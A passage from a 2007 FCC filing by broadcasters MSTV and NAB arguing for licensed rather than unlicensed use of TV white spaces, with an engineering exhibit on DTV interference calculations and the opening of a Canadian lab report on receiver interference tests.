willingness to consider the relative benefits of licensed uses of any “white spaces” that may exist.70 The Commission has correctly recognized that an unlicensed system is not the only possible way to authorize spectrum sharing in the television spectrum. In fact, as discussed below, a licensed white space regime would carry numerous public interest benefits – accountability, efficiency, and public remuneration – that would be lost forever by an unlicensed devices regime. Depriving the public of the benefit of new, licensed spectrum is even more inappropriate given the large swaths of unlicensed spectrum that the Commission has made available on an unlicensed basis in recent years. First, a licensed system would address one of the biggest problems with an unlicensed system: accountability. That is, if a device operating in licensed “white space” were to interfere with the public’s access to free, over-the-air television, the licensee responsible for the spectrum used by that device could be identified and made accountable for remedying the problem. Assuming that some TV band devices will be allowed to operate within the broadcast spectrum, the only effective way to ensure that incumbent services will be protected is through a licensing system. Second, a licensed system will also most efficiently make use of any available “white spaces” that may exist. Unlike an unlicensed regime, in which there is no mechanism to control the number of devices that operate simultaneously and the resulting “noise” from such operation, 70 See First R&O and FNPRM at ¶¶ 26-32. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 37 of 40 a licensed user has incentive to decrease noise so that the noise floor of the spectrum does not rise to harmful levels and thereby prevent the licensee’s full exploitation of the “white spaces” spectrum. In contrast, in an unlicensed regime, manufacturers have incentive to maximize their use of the spectrum without concern to the aggregate effect on the white space at issue. This incentive results in a “tragedy of the commons” whereby noise from multiple unlicensed devices transmitting in the same spectrum with inefficient technology eventually degrades the ability of all users to benefit from the spectrum.71 In licensed “white space,” the same entity would control the spectrum used by television services and the TV band devices, and would consequently design all devices to operate using non-interfering technology. Third, a licensed system benefits the economy and American taxpayers more effectively than an unlicensed system. With the adoption of Section 309(j) of the Communications Act, Congress made clear its intent that the Commission should auction new licenses for commercial use of the spectrum. Therefore, if TV band devices were to operate on a licensed basis, the Commission would auction licenses and receive revenues from the proceeds of the auction. In designing a system to auction new licenses for commercial use, Congress has asked the Commission to keep in mind, among others, the goals of “promoting economic opportunity” and “recovery for the public of a portion of the value of the public spectrum resource made available for commercials use and avoidance of unjust enrichment through the methods employed to award uses of that resource.”72 71 On the unlicensed side, experience in the unlicensed 2.4 GHz band is instructive. There, cordless phones have “reap[ed] devastating effects on 802.11b WLANs” because the technologies used are not compatible for minimization of interference. See Interference from Cordless Phones, Wi-Fi Planet, April 15, 2003, available at http://www.wi- fiplanet.com/tutorials/article.php/2191241 (last visited Jan. 31, 2007). 72 47 U.S.C. §309(j). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 38 of 40 The recent Advanced Wireless Services (“AWS”) spectrum, which grossed $13.9 billion, speaks to the public benefits of licensing.73 Moreover, the Congressional Budget Office has estimated that auction of television channels 52 through 69 will raise at least $10 billion74; auctioning of “white spaces” in channels 2 through 51 could produce similar results. These additional amounts would be lost, however, if the Commission chooses to allow TV band devices to operate in the broadcast spectrum on an unlicensed basis. These benefits to the economy and American taxpayers, lend further support to MSTV’s position that licensing the television “white spaces,” is the proper course of action. Finally, the Commission should not allow unlicensed operation in the television band, and risk interference with licensed services, because the Commission has already provided adequate spectrum for the use of unlicensed devices. Within the so-called “beachfront” spectrum below 3 GHz, the Commission has already allocated over 100 MHz of spectrum to unlicensed uses. In addition, at the urging of unlicensed device manufacturers, the Commission in late 2003 expanded the Unlicensed National Information Infrastructure (“U-NII”) band, which already had a 300 MHz-wide unlicensed allocation, by 255 MHz of spectrum. As a result, unlicensed devices in the U-NII spectrum have access to 555 MHz of spectrum.75 The Commission rightly 73 See News Release, FCC’s Advanced Wireless Services (AWS) Spectrum Auction Concludes, FCC (rel. Sep. 18, 2006). 74 See Congressional Budget Office, Cost Estimate, Reconciliation Recommendations of the House Committee on Energy and Commerce, 12 (Oct. 31, 2005). 75 Unlicensed devices may now operate in the following 5 GHz-band frequencies: 5.150-5.250 GHz, 5.250-5.350, 5.470-5.825. Thus, in the U-NII band alone, unlicensed devices have access to nearly twice the amount of spectrum that will be allocated to the public’s free, over-the-air television service after the digital transition is complete. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 39 of 40 characterized its decision to expand the U-NII band as “a significant increase in the spectrum available for unlicensed devices across the overall radio spectrum.”76 Indeed, proponents of unlicensed devices appear to offer inconsistent rationales. The argument for using TV spectrum is that it has superior propagation characteristics. This would support using spectrum for unlicensed services, such as rural broadband, which can harness efficiencies of wide areas. In this regard, IEEE 802.22 has offered a fixed service approach to meet this need. However, the advantages of greater coverage are not needed for most personal and portable devices. For example, in-home wireless networking can utilize spectrum above 1 GHz to cover the short ranges typically needed for most home wireless network systems. In fact, such frequencies will be more efficient since they allow for greater frequency reuse. Thus the justification for using the TV band - greater propagation - seems to be lacking as applied to many personal and portable devices. Consequently, other bands, which do not have the risk of interference, would appear to be more appropriate. In light of the overabundance of underutilized unlicensed spectrum, the Commission has no cause – even if it had the authority – to allow unlicensed devices to interfere with licensed services. Sufficient spectrum is available for new unlicensed services; the Commission need not put the public’s licensed radiocommunications infrastructure at risk. The “white spaces” that exist in less densely populated areas should instead be auctioned on an exclusively licensed basis. 76 News Release, FCC Makes Additional Spectrum Available for Unlicensed Use, FCC (rel. Nov. 13, 2003). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 40 of 40 CONCLUSION No less than the future of the public’s television service is at stake in this proceeding. Accordingly, MSTV and NAB respectfully urge the Commission to adopt the above-described protections before authorizing any new devices in the broadcast spectrum. Respectfully submitted, /s/ Marsha J. MacBride Marsha J. MacBride Jane E. Mago Ann West Bobeck Lynn Claudy Kelly Williams NATIONAL ASSOCIATION OF BROADCASTERS 1771 N Street, NW Washington, DC 20036 January 31, 2007 * Admitted only in Virginia; not admitted in the District of Columbia, and supervised by principals of the firm. (202) 429-5430 (tel.) (202) 775-3526 (fax) /s/ David L. Donovan David L. Donovan Victor Tawil ASSOCIATION FOR MAXIMUM SERVICE TELEVISION, INC. P.O. Box 9897 4100 Wisconsin Avenue, NW Washington, D.C. 20016 202-966-1956 (tel.) 202-966-9617 (fax) Jonathan D. Blake Matthew S. DelNero Jodi M. Steiger* COVINGTON & BURLING LLP 1201 Pennsylvania Avenue, N.W. Washington, DC 20004-2401 Its Attorneys EXHIBIT A January 30, 2007 Analysis of Various Interference Mechanisms Affecting Television Reception from TV Band Devices By Robert Eckert1 Introduction This engineering statement has been prepared on behalf of the Association for Maximum Service Television (“MSTV”) as part of its comments in response to the Commission’s First Report and Order and Notice of Further Proposed Rulemaking (Docket 04-168) on Unlicensed Operation in the TV Broadcast Bands. Specifically, this statement addresses the types of interference that should be considered when developing technical rules to protect the existing licensed service from interference. The statement also provides a methodology to calculate interference and establishes minimum separation distances needed to protect TV reception from interference. The statement also finds that unlicensed devices in the TV bands, particularly personal/portable devices that are uncontrolled and can be located and operated anywhere, pose a significantly greater threat of interference to TV viewers. The statement also briefly describes the difficulty of co-channel sensing within a DTV station’s contour. I. Types of Interference Interference to DTV reception can occur due to a number of different mechanisms. “TV band devices” and Part 15 unlicensed devices can not cause interference and must protect all TV operations against a number of different types of interference. Specifically, there are four basic types of interference such devices can cause to DTV receivers. They are: (1) co-channel interference; (2) adjacent channel interference; (3) out-of-band interference; and, (4) interference 1 Robert Eckert is a recognized expert in the areas of propagation, radio communications and interference analysis. He has served as the Chief of the Technical Analysis Branch of the FCC’s Office of Engineering and Technology and has done significant work in the area of digital television including the development of the FCC’s DTV Table of Allotments. from taboo channels and unwanted intermodulation products. A brief description of these various interference mechanisms and how they relate to TV band or unlicensed device operation are described below: a. Co-channel Interference Considerations Co-channel interference in the context of the DTV service comes from distant undesired signals of the same 6 MHz bandwidth as that of the desired signal. In the case of TV band devices, the Commission did not explicitly state in the instant rule making proceeding that the TV band or unlicensed device bandwidths would match that of the DTV service. However, it appears likely that unlicensed TV band devices will tend to use channels of about the same 6 MHz width as DTV and in a corresponding sequence.2 It also appears that these devices will employ modulation techniques producing the same relatively flat and noise-like spectrum signature emitted by DTV transmitters. To the extent that emissions are similar, much of the testing and analysis that have generated protection requirements in the DTV service can be applied to determine requirements for low power TV band device or unlicensed operation.3 In particular, after some prototype TV band devices become available and are tested, it may be found that the 2 In the event the unlicensed device bandwidth is different than that of the DTV service or if the channels used by these devices do not coincide with those of the TV channels, the protection requirements included in FCC rules for the DTV service may have to be extended to include new desired to undesired (D/U) ratios for such operation. 3 The DTV service was set up after comprehensive testing of prototype receivers to determine their robustness in the presence of various types of interference. Testing provided a quantitative measure of robustness as the ratio between desired and undesired signals at the point where degradation was first visible, the threshold of visibility. These ratios are incorporated in FCC rules in the particular cases of co- channel and adjacent channel interference, and further information is available in laboratory records of the testing effort. Though essential for establishing rules that might be established to govern manufacture and operation of unlicensed devices in the TV bands, these data may not be sufficient. This is due in part to the fact that the receivers tested were high quality prototypes and also because the tests did not include all types of interference that could be caused by unlicensed devices. 2 desired-to-undesired signal ratio adequate for co-channel DTV operation applies equally to DTV reception in the presence of co-channel signals from unlicensed or TV band devices. 4 b. Adjacent Channel Interference Considerations Adjacent channel interference poses a special problem for use of unlicensed devices in the TV bands. Just as in the DTV service, adjacent channel interference would come from undesired signals of equal bandwidth either immediately above or below the desired signal in frequency. In the case of operation of adjacent channels in the DTV service, the FCC established a DTV Table of Allotments that authorized adjacent channel operations at specific locations chosen to minimize interference throughout DTV stations’ service areas. Such a methodology cannot be applied to TV band device or unlicensed device operation, where the location of such devices can not be precisely controlled. Calculations show that unlicensed transmitters or TV band devices of only 100 mW can produce a field strong enough to interfere with adjacent channel DTV receivers at 30 meters and beyond.5 Therefore, the only safe approach is to preclude unlicensed devices from operating in adjacent channel DTV service areas. This means the “white space” for any particular channel excludes areas of adjacent channel DTV service as well as co-channel service areas. Allowance must be made for the possibility that the device is being used at a point where the signal of an active DTV station on an adjacent channel is weak. This weak signal condition is expected near the edge of DTV service areas but may also occur well inside due to shadowing. Consequently, the proposed Part 15 rules for unlicensed rules must define an available channel as 4 As noted above, some additional testing should be carried out to ensure that the DTV D/U ratios apply to TV band devices that employ different modulation techniques. Alternatively, it would be appropriate to include some additional margin to take into account differences between DTV ATSC signals and other signal modulations such as COFDM or QPSK that may be used by these TV band devices. 5 In weak DTV signal situations this distance can be hundreds of meters. See the Table of Distances to Various Field Strengths, in Section II-a of this paper. Also see MSTV/NAB comments for calculation of adjacent channel interference distances. 3 one distant from both co- and adjacent channel of a DTV station, i.e., outside the TV station’s contour by some appropriate distance.6 c. Out-of Band Emission Interference Considerations Emissions adjacent to each side of the operating 6 MHz channel are not ordinary out-of-band emissions to be treated as haphazard unintentional radiation. Instead, the rules in Section 15.209 must explicitly recognize the limited (120 kHz) bandwidth of CISPR quasi-peak measurements of out-of-band emissions. Supposing that the CISPR measurement is reasonably accurate in determining the power of noise-like signals in 120 kHz, the total power in a flat noise-like signal of 6 MHz is 17 dB greater, and that is a key parameter in determining the potential for out-of band channel interference.7 Measurement procedures by whatever means should obtain all the significant data that could be obtained using a spectrum analyzer. In addition, the total power in a wide range of frequencies in the vicinity of a consumer’s TV reception system will generally increase the noise level, affecting channels beyond the first adjacency. This is particularly applicable to situations involving many unlicensed transmitters, especially in view of the envisioned popularity of the personal/portable TV band devices being proposed. By itself, this factor could wipe out DTV service on channels that might otherwise be considered unaffected. The possibilities for apparent noise power accumulation over many frequencies from many locations should be considered in revising the rules for out-of band emissions in Section 15.209. Limits should be established so that the results of allowing 6 The required separation distances are calculated later in this paper. 7 The effects of operation on an adjacent channel are two-fold: First, receivers are unavoidably sensitive to power that may be present in the adjacent frequency space; and second, a modulated signal in the adjacent channel will inevitably spill some power into the desired channel. The second of these effects is measurable with a spectrum analyzer, while the combined effect of the two factors is measured in terms of the desired- to-undesired signal ratio at which the DTV picture is lost. 4 unlicensed devises in the TV bands can be monitored in terms of the number and location of devices. d. Intermodulation Interference Considerations Interference potentially harmful to DTV reception can also arise due to intermodulation between various signals, weak and strong both within and outside the desired DTV channel, that may be presented to DTV receivers. Interference of this type occurs in the receiver itself, and is more likely in DTV receivers sold today than in the high quality prototype DTV receivers used to develop the DTV planning factors. For example, an image of an otherwise ignorable first-, second-, or third-adjacent DTV channel can be made to fall on the desired signal by intermodulation with narrow band spurious emissions by unlicensed devices. While intermodulation is almost certainly present in real situations, the effects on DTV receivers have not been tested in a way that could lead to quantitative criteria for interference protection.8 Some new information in this regard is available from recent tests conducted by the CRC and additional information may become available because the Commission has directed its laboratory to test contemporary DTV receivers with interfering signals from second- and third-adjacent channels and beyond.9 These projects offer a good opportunity for an investigation that might at least set some bounds on the degree of desensitization that can be caused by intermodulation in real situations. Such real situations involving DTV transmissions alone exist today. If it is found likely that appreciable interference is created by this mechanism, it will be necessary to design special restrictions on the use of unlicensed devices to eliminate this type of interference. 8 The early comprehensive testing, upon which FCC rules for DTV service are based, examined co-channel interference, adjacent channel interference, man-made noise, and narrow-band emissions of the kind produced by land mobile transmitters. The interference sources for co-channel testing were DTV emissions confined to 6 MHz. The sources for adjacent channel testing were similar DTV emissions confined to the 6 MHz exactly neighboring the desired channel below and, separately, above in frequency. Thus there is a lack of data for conclusively determining the effects of emissions outside of first-adjacent DTV channels and of their effects when combined with first-adjacent channels themselves. 9 At the request of MSTV, The CRC laboratory has recently conducted such tests. 5 II. White Space and Protection Ratios Assuming that the transmissions of unlicensed TV band devices will have a spectrum signature very much like that of DTV, many of the quantitative criteria used for the mutual protection of DTV stations can be applied to the introduction of unlicensed devices. These quantitative criteria are found in the subpart of FCC Rules governing Television Broadcast Stations.10 The rules in that subpart place limitations on transmitting facilities and specify the locations where specific channels are assigned or available. Similar rules of a quantitative nature must be created for unlicensed devices if they are allowed in TV bands. This entails defining boundaries of the “white space” available for use of specific channels and the technical characteristics of devices that will be allowed on such channels. To get a clear idea of how unlicensed devices may be used, it is helpful to analyze the process of determining white space. A determination based on the protection ratios established in FCC Rules at §73.623(c) will tend to make unlicensed use conform to the protection rules already established for the DTV service itself. There are two elements to this determination: first the service contours of individual stations, and second the distance that must be maintained between unlicensed devices and TV receivers that may be located on the service contour. Assuming that TV band devices are allowed to operate wherever they do not cause interference with either co-channel or adjacent channel TV service (as stated previously, operation of such TV band devices is not feasible within the co-channel or adjacent channel TV service area), the following procedure is necessary to determine whether a particular channel is available at a particular geographical point. Presumably the determination would be made with computer assistance. A table is prepared of the separation distances between the point of interest and the 10 Code of Federal Regulations, Part 73, Subpart E, entitled Television Broadcast Stations. 6 service contour of every co-channel and adjacent channel DTV station.11,12 The smallest of these distances is examined, separately, for each of the adjacent channels and for the candidate unlicensed device channel. All three of these distances must of course be positive; that is, the point of interest must lie outside all service contours of any of the three channel types, co- channel, lower adjacent and upper adjacent.13,14 Finally, protection ratios and power limitations imposed on unlicensed devices determine whether the device is far enough from TV receivers that may be located on these service contours. It is not enough, for example, that the candidate unlicensed device channel is assigned to serve Baltimore or Annapolis when proposing use of unlicensed operation in Washington, DC. The possibility of an error of this kind indicates the importance of establishing rigorous procedures for creating channel availability tables for unlicensed devises. To align with the rules governing DTV service, minimum distances to service contours should be determined by reference to the D/U ratios of §73.623(c).15 These D/U ratios are –28 dB and –26 11 The service contour is the outer boundary of the area in which the predicted F(50, 90) field strength is the value given in § 73.622(e). For the UHF band the value is 41 dBu. This value may be subject to a modification by what is called the “dipole factor” dependent upon the specific UHF channel of interest. Whether to apply this modification is a detail that must be addressed by FCC rules for unlicensed devices. The F(50, 90) field is predicted based on TV transmitter power, antenna height and horizontal antenna gain pattern. 12 Note that it must be decided whether the database from which the table is prepared will contain engineering parameters of stations as currently licensed or maximum facility parameters. 13 Note that more than just one upper and one lower adjacent channel service area may be near a particular point of interest. The situation can be quite complicated in urban areas. 14 Some proponents of unlicensed TV band devices will argue for ignoring possibilities for interference on adjacent channels despite computations showing that interference of this kind can occur at significant distances, e.g. beyond 30 meters for a 100 mW device, and beyond a kilometer in the case of a 1 watt device. 15 It is intended that the desired (D) and undesired (U) signals be evaluated as received through directional receiving antennas, and therefore authorization of unlicensed devices requires a model of the orientation of receiving antennas. Planning factors for the DTV service lead to a determination that the field of 41 dBu in the receiver’s neighborhood is adequate for reception provided that the receiving antenna has a forward gain of 10 dB. It is assumed that the receiving antenna in fact achieves this gain by being pointed at the 7 dB respectively for interference from lower and upper adjacent channels. In the case of the lower adjacent channel, for example, this means that interference is considered to occur at the service contour when the undesired signal is more than 28 dB stronger than 41 dBu. Note that these considerations involve a considerable degree of precision, attainable for operation of unlicensed devices at fixed locations, but requiring an extra margin of decibels in case sensing alone is relied upon by smart devices. The criteria for co-channel operation are different in nature because any small co-channel signal power will overwhelm receivers located at the service contour. In the DTV service and interference model on which §73.623(c) is based, co-channel emissions of almost any magnitude raise the noise level sensed by receivers at the service contour to a value exceeding the minimum signal-to-noise requirement. The DTV picture will abruptly at that point be lost.16 Therefore unlicensed devices operating co-channel must be completely out of range, and the out-of-range distance should be conservatively chosen to prevent interference possibilities. a. Required Separation Beyond Service Contours Consider the following situation. An unlicensed TV band device is at a geographical point determined to be outside the noise-limited service contour of a particular DTV station. The device must also be so far out of range that its co-channel emission does not increase the apparent receiver noise level. Refer to the table of distances to various field strengths, below. According to the table, to keep the free space interference field 20 dB below the desired DTV signal would require a separation of 600 miles even though 20 dB is nowhere near enough. It is obvious that desired station. However, it cannot be safely assumed that undesired signals from unlicensed devices would reach receiving antennas from a low gain direction. 16 Section §73.623(c) sets the level at which this happens at 23 dB below the desired 41 dBu signal. This is a noise level 7 dB weaker than the level in the absence of interference and is deemed ignorable. 8 obstacles on the horizon would normally provide an effective shield, and a lesser distance will be adequate. Radio propagation models like those used to calculate contour distances could be used. However, those models involve statistical concepts such as percentage of location and time, are not well supported by data except at confidence limits near 50%, and are inappropriate in the present application where confidence approaching 100% is needed. A practical separation requirement must nevertheless be established, and it makes good sense to base this on line-of- sight considerations. The line-of-sight distance between antennas both at rooftop height is about 15 miles, and the distance from a hand-held device to a rooftop antenna is about 10 miles.17 Assuming that the device is 15 miles outside all co-channel DTV service contours, a further check must be made to protect adjacent channel DTV. FCC rules at §73.623(c) indicate that DTV stations are protecting one another’s service provided that adjacent channel fields are less than 67 dBu and 69 dBu respectively for interference from lower and upper adjacent channels.18 From the table of distances to various field strengths, it is found that this level of protection will be achieved by requiring that 4 Watt EIRP devices stay at least 3 miles from the contour of an adjacent channel TV station. 17 These values are the respective sums of the distances from the common horizon. 18 The 69 dBu number comes from adding 28 dB to the field of 41 dBu that defines noise-limited contours. Similarly, 67 dBu is the sum of 41 dBu and the 26 dB required for upper adjacent protection. 9 DISTANCE TO VARIOUS FIELD STRENGTHS BY FREE SPACE PROPAGATION Field Near TV Receiving Antenna Distance from isotropically radiated power of 4 Watts dBu microvolts/m Volts/m m km miles Significance Of this Field Strength Value 21 11.2 1.12E-06 976316 976 607 20 dB below the smallest DTV signal that will provide a picture at the noise-limited contour. 41 112.2 0.000112 97632 97.6 60.7 41 dBu is the smallest DTV signal that will provide a picture at the noise-limited contour. 67 2238.7 0.00224 4893 4.89 3.04 Maximum field from DTV transmitter on upper adjacent channel that does not cause interference 69 2818.4 0.00282 3887 3.89 2.42 Maximum field from DTV transmitter on lower adjacent channel that does not cause interference b. Calculating Interference The table below describes a procedure for calculating the interfering power that would be produced by RF sources in the TV bands. The effects indicated in steps 5, 6 and 7 assume that the interference power is noise-like with an approximately flat spectrum over 6 MHz. Note that interference fields produced by 4 W or 4000 mW sources are very great. One consequence of this is that such sources must be located well outside the service contours of both co-channel and adjacent channel DTV stations. Also note that even though a device may be outside co- and adjacent channel contours, it will almost certainly be inside the contour of one or more DTV stations, specifically those using channels removed by 12 or more MHz. Inside DTV service contours the directionality of TV receiving systems is irrelevant and no amount of cross-polarization discrimination is reliable. Moreover, the out-of-band emission mask applied to unlicensed devices (by revising Section 10 15.209) must limit power outside the co- and adjacent channels to especially small values. The table shows that power over every 6 MHz portion of the TV band should be considerably less than 9.5E-7 mW except for the 6 MHz used by the device and the two adjacent channels. INTERFERENCE CALCULATIONS EXAMPLES STEP PROCEDURE 3 m from source 10 m from source 3 m from source 10 m from source 1 Start with the isotropically radiated power of the source. 4000 mW 4000 mW 9.50E-7 mW 9.50E-7 mW 2 Calculate Power Flux Density (PFD): The surface area of the sphere 3 m from the source is 4*pi*3*3 = 113 sq. m, so the PFD for 4000 mW is 4000/113 mW/sq. m. At 10 m from the source the surface area is 4*pi*10*10 = 1257 sq. m. 35.4 mW/sq. m 3.18 mW/sq. m 8.41E-09 mW/sq. m 7.56E-10 mW/sq. m 3 Find field from PFD: Convert the PFD to watts/sq. m, multiply by the resistance of free space (377 ohms), then take the square root. The result is the field in V/m. 3.65 V/m 1.095 V/m 0.0000563 V/m 0.0000169 V/m 4 Convert V/m to conventional units describing the field: 20*log(V/m) +120 = dBu. This is the interference field. 131.2 dBu 120.8 dBu 35.0 dBu 24.5 dBu 5 Find C/I, the excess of field required for DTV reception over the interference field: The required DTV field is nominally 41 dBu (OET Bulletin No. 69 shows how this value is modified by the dipole reception factor for various channels). -90.2 dB -79.8 dB 6.0 dB 16.5 dB 6 Find I/N, the ratio of interference power to the thermal noise experienced by DTV receivers near 41 dBu contours: I/N = 15 - C/I (15 dB is the minimum carrier-to-noise ratio for DTV reception) 105.2 dB 64.8 dB 9.0 dB -1.5 dB 7 Evaluate potential for interference: I/N should be negative. A value of 0 dB effectively doubles the noise experienced by the receiver so that minimum DTV signal is 44 dBu (an increase of 3 dB). loss of picture loss of picture loss of picture except where DTV signal is very strong DTV receiver is desensitized by less than 3 dB. 11 III. Sensing The sensing of RF fields is an inadequate means for protection of DTV services. These services require protection based on service contours determined in an absolute way, by reference to geographic information and precise knowledge of the location of unlicensed devices before they transmit. Sensing, however, is only capable of measuring RF fields in a very localized way, at a moment in time, at a particular point among or inside buildings, and at a particular height relative to building heights and terrain. Since sensing cannot be used to determine where a device is located in reference to contours, it could at best be effective for devices whose power is so small as to be safe within a very limited area around it. Moreover, a network of devices is impractical since this same area confines the entire network. In such a small area there may be some assurance that no DTV receivers are able to get a picture so that the device could transmit without interrupting DTV service. However, very little confidence can be placed in measurement by a single sensing device of a short duration. According to an analysis of the Canadian Research Center, there is a margin of only 24 dB between the threshold of feasible sensing technology and the minimum field required by DTV receivers.19 Thus, an incorrect clear-to-transmit decision will be made whenever the signal that happens to be available to the sensing device is 24 dB less than the field in use by DTV receivers. Signal variation of 24 dB is highly likely due solely to the statistics of RF propagation. Location variability in the UHF TV band is in the order of 15 dB, and the motion of vehicles in the vicinity and the way mobile devices are held can make another 10 dB difference. The factors just 19 Sensing Parameters: Estimates and Analysis, Gerald Chouinard, CRC, Canada, found at http://www.eecs.berkeley.edu/~dtse/3r_notor.ppt. This paper assumes a sensing level of -116 dBm, and that both the TV receive antenna and the IEEE unlicensed fixed device sensing antenna are located at 30 feet above ground so that there is no height difference between the TV receive antenna and the sensing antenna. The -116 dBm is the same level suggested by the FCC for a 4 Watt TV band device. Sensing at the -116 dBm level, however, is not used by the IEEE to ensure that the unlicensed fixed is located a sufficient distance outside a TV station’s co- and adjacent channel contour. 12 mentioned are just the statistical uncertainties. In addition there is the “hidden node” problem in which an obstacle that is not part of the propagation path for local DTV reception nevertheless blocks the path to a sensing device. IV. Conclusions To ensure that TV band devices provide at least the same level of protection as TV licensees receive from other licensed operations, co-channel and adjacent channel operation of such devices must be prohibited inside the DTV service contours. In addition, specific separation or “keep away” distances from those contours must be established, and it would be reasonable and practical to base these keep-away distances on free space radio path loss calculations and line-of- sight considerations. Revision of §15.209 of FCC Rules for unlicensed TV band devices must require that out-of-band noise power over every 6 MHz portion of the TV band be considerably less than 9.5E-7 mW except for the 6 MHz used by the device and the two adjacent channels.20 The “white space” in the TV band is much more limited than implied by mere consideration of co- and adjacent channel interference. This is because almost any point on the map is covered by one or more DTV services that can be desensitized by noise-like emissions to the point of losing picture. Finally, sensing is an ineffective method for protecting DTV service from interference, especially in the case of personal/portable devices. The radio fields observed by sensing devices are subject to variations considerably larger than the detection window of practical devices. 20 This presumes that that co- and adjacent channel operation within the TV station contour is prohibited. 13 EXHIBIT B © Communications Research Centre Canada LABORATORY EVALUATION OF FIVE VSB TELEVISION RECEIVERS IN DTV ADJACENT CHANNEL INTERFERENCE LABORATORY TEST REPORT AND CALCULATIONS Version: Final Published: January 31, 2007 Report Intended for: The Association for Maximum Service Television, Inc. (MSTV) Contributors: Sébastien Laflèche, Yiyan Wu Research Engineer, Research Scientist Charles Nadeau, Benoit Ledoux, Khalil Salehian Research Engineer, Project Leader, Research Scientist Contents 1 INTRODUCTION............................................................................. 2 2 MAJOR FINDINGS.......................................................................... 2 3 LABORATORY SET-UP AND TEST CONDITIONS................. 3 3.1 LABORATORY EVALUATION SET-UP....................................................................... 3 3.1.1 Transmitter ............................................................................................................................. 4 3.1.2 Channel................................................................................................................................... 4 3.1.3 Receiver.................................................................................................................................. 4 3.1.4 Test Conditions....................................................................................................................... 4 4 TEST PROCEDURES AND RESULTS......................................... 5 4.1 RESULTS FOR SINGLE DTV INTERFERENCE INTO DTV .......................................... 5 4.2 RESULTS FOR MULTIPLE DTV INTO DTV ............................................................ 24 4.3 CALCULATIONS FOR INTERFERENCE DISTANCE FROM A SINGLE RADIATING DEVICE................................................................................................................. 33 4.4 CALCULATIONS FOR INTERFERENCE DISTANCE FROM A RADIATING DEVICE IN THE PRESENCE OF ANOTHER INTERFERENCE TO THE DESIRED DTV CHANNEL ........... 39 5 CONCLUSION................................................................................ 44 APPENDIX 1 LIST OF THE RECEIVERS UNDER TEST ................. 45 APPENDIX 2 CALCULATIONS OF DISTANCE “R” ......................... 46 © Communications Research Centre Canada Page 1 1 Introduction The Association for Maximum Service Television, Inc. (MSTV) requested laboratory evaluation of five ATSC 8-VSB digital television receivers in the presence of adjacent/taboo DTV channel interferences. The receivers were tested in the laboratory of the Communications Research Centre Canada to determine their capabilities to receive DTV signals in the presence of a single or multiple DTV interferers. These interference signals were intended to simulate conditions expected to be found when operating unlicensed devices in the TV band pursuant the FCC proposal in Docket 04-168. The tests were carried out in January 2007. 2 Major findings The major findings of the laboratory test can be summarized as: • There can be substantial differences in interference performance of different VSB receivers and interference mechanisms, regardless of age and vintage. • Interfering signals on the upper and lower first adjacent channel are the most problematic and consistently result in large calculated interference distances “r” at which the interfering device can cause a DTV receiver to reach TOV. • In general, interfering signals on the second and third adjacent channels can also be problematic and result in calculated interference distances “r” larger than 10 meters. • Image interference on channels +7, +14 and +15 can also result at significant distances under certain circumstances for certain receivers. • Multiple interfering signals reduce the D/U ratios. The worst case appears to be N+x and N+2x. Degradation of more than 30 dB and more have been measured on some receivers. © Communications Research Centre Canada Page 2 3 Laboratory Set-up and Test Conditions The VSB receivers were tested against DTV interferences. The tests included adjacent/taboo channels interference from N – 15 to N + 15 into DTV. 3.1 Laboratory Evaluation Set-up The laboratory set-up for the evaluation of the VSB receivers is presented in figure 1. The set-up is divided in three sections: Transmitter, Channel and Receiver. Figure 1 – Laboratory Equipment set-up © Communications Research Centre Canada Page 3 3.1.1 Transmitter The Desired 8-VSB signal was obtained from a Rohde & Schwarz SFQ modulator. The signal source for the 8-VSB modulator was from a video spooler. 3.1.2 Channel The Undesired 1 DTV signal came from a R&S SX 800 VSB modulator, the RF output was connected to a high precision attenuator through a FCC Mask compliant filter. This DTV signal has a fix channel output, 662-668 MHz, channel 46. The Undesired 2 DTV signal came from a Ktech VSB-ENC-150E VSB modulator, the RF output was directly connected to a high precision attenuator. An Agilent ESA-E4405B spectrum analyzer was connected at the combiner output, to make the average power measurement of the DTV signals. 3.1.3 Receiver The output signal from the combiner was connected to the 8-VSB receiver under test. The video signal from the integrated MPEG decoder was connected to a video monitor to determine the Threshold of Visibility (TOV) level. 3.1.4 Test Conditions The tests were done from channel 17 to 61, depending of the test scenario. Five different receivers were used and two scenarios for single DTV into DTV were tested. The first scenario: the desired DTV signal was fixed on channel 32 and the undesired DTV channel was changed from channel 17 to 47 (N-15 to N+15). The undesired signal (See description of Undesired 2 above) was not filtered. The second scenario: the desired DTV channel was changed from channel 31 to 61 (N+15 to N-15) and the undesired DTV signal was fixed on channel 46. The undesired signal was filtered according to FCC mask specifications. (See description of Undesired 1 above) TOV was found over a 15 seconds measurement period. A delay of 5 seconds was granted to the receiver for stabilization before the TOV measurement was started. TOV is the point where you first encounter visual errors (such as blocking or freezing) on the picture over the measurement period with the minimum level of interferences. The precision of the test was 0.5 dB. © Communications Research Centre Canada Page 4 © Communications Research Centre Canada Page 5 4 Test Procedures and Results The following procedures were intended to verify the performance of five 8-VSB receivers under DTV into DTV. These tests included the following measurements: a. Single interferer − Single Unfiltered Adjacent DTV from N-15 to N+15 into DTV; − Single Filtered Adjacent DTV from N-15 into N+15 into DTV; b. Multiple interferers − N-1 and N+1 into DTV; − N-2 and N+2 into DTV; − N-3 and N+3 into DTV; − N-4 and N+3 into DTV; − N+2 and N+3 into DTV; − N+2 and N+4 into DTV; − N+4 and N+6 into DTV; − N+7 and N+14 into DTV. 4.1 Results for Single DTV Interference into DTV The purpose of this test was to determine the performance of the 8-VSB receivers under the case of a single adjacent or taboo channel interfering signal. The level of interference (D/U) at TOV was recorded for an undesired DTV signal. These tests were done with the following five different desired DTV signal RF levels: • Very Strong: -15 dBm • ATSC Strong: -28 dBm • ATSC Moderate: -53 dBm • ATSC Weak: -68 dBm • 7 dB above Edge of DTV Contour : -76 dBm NOTE: The ATSC specified DTV receiver min. signal level is -83 dBm, which is the signal received at the Edge of the DTV coverage contour. At min. signal level, the receiver cannot tolerate any additional impairment. The desired signal level used in the laboratory test must be higher than the min. signal level. Some legacy receivers can not meet the ATSC min. signal level specification. A head room of 7 dB was added to the min. signal level, i.e. -76 dBm, as the lowest desired signal level in order to overcome the difference in minimum threshold levels between receivers. Note however that the lower the desired signal, the more sensitive the receiver to the impairments. Table 1 to 